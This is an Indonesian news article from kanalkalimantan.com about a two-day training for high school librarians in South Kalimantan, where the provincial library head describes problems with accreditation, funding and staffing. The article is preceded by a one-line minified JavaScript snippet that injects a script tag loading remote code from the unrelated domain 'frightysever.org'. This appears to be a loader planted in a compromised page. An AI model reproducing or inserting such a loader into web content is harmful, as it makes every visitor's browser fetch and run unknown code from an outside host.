(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Bimtek Perpustakaan SMA, Kadispersip: Banyak Perpustakaan Belum Akreditasi

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Kalsel mengakui masih banyak kendala dalam peningkatkan kualitas perpustakaan. Salah satunya adalah perpustakaan yang belum memiliki akreditasi.

“Kendala yang kita hadapi saat ini adalah masih banyak perpustakaan yang belum memiliki akreditasi,” kata Kadispersip Kalsel dra Hj Nurliani saat pembukaan bimbingan teknis pengelola perpustakaan tingkat SMA sederajat, Kamis (25/2/2021).

Perpustakaan tersebut bisa dikatakan memiliki koleksi buku yang kurang, sarana dan prasarana minim, serta dukungan dana yang belum maksimal. Padahal berdasarkan UU No 43 tahun 2007 tentang perpustakaan pada pasal 23 ayat 6 pihak sekolah atau lembaga madrasah minimal dapat mengalokasikan 5 persen dari anggaran sekolah atau madrasah.

Selain itu, faktor sumber daya manusia juga menjadi kendala. “Kebanyakan tenaga pengelola perpustakaan adalah tenaga honorer, sehingga terkadang mereka pindah atau berhenti, padahal mereka sudah mendapatkan pendidikan dan pelatihan terkait pengelolaan perpustakaan, ini menyebabkan pengelolaan perpustakaan tak maksimal,” kata Nurliani.

Diharapkan dari Bimtek pengelolaan perpustakaan ini para peserta dapat menyerap ilmu secara maksimal bagaimana teknis pengelolaan perpustakaan. “Saya berharap kegiatan Bimtek ini dapat dimanfaatkan sebaiknya oleh peserta sehingga ilmunya bisa segera diaplikasikan di tempat tugasnya masing-masing,” ujar Kadispersip Kalsel.

Kegiatan Bimtek dilaksanakan selama dua hari. Peserta dibekali materi oleh para ahli di bidang pengelolaan perpustakaan. (kanalkalimantan.com/rls)

Reporter : Rls
Editor : Bie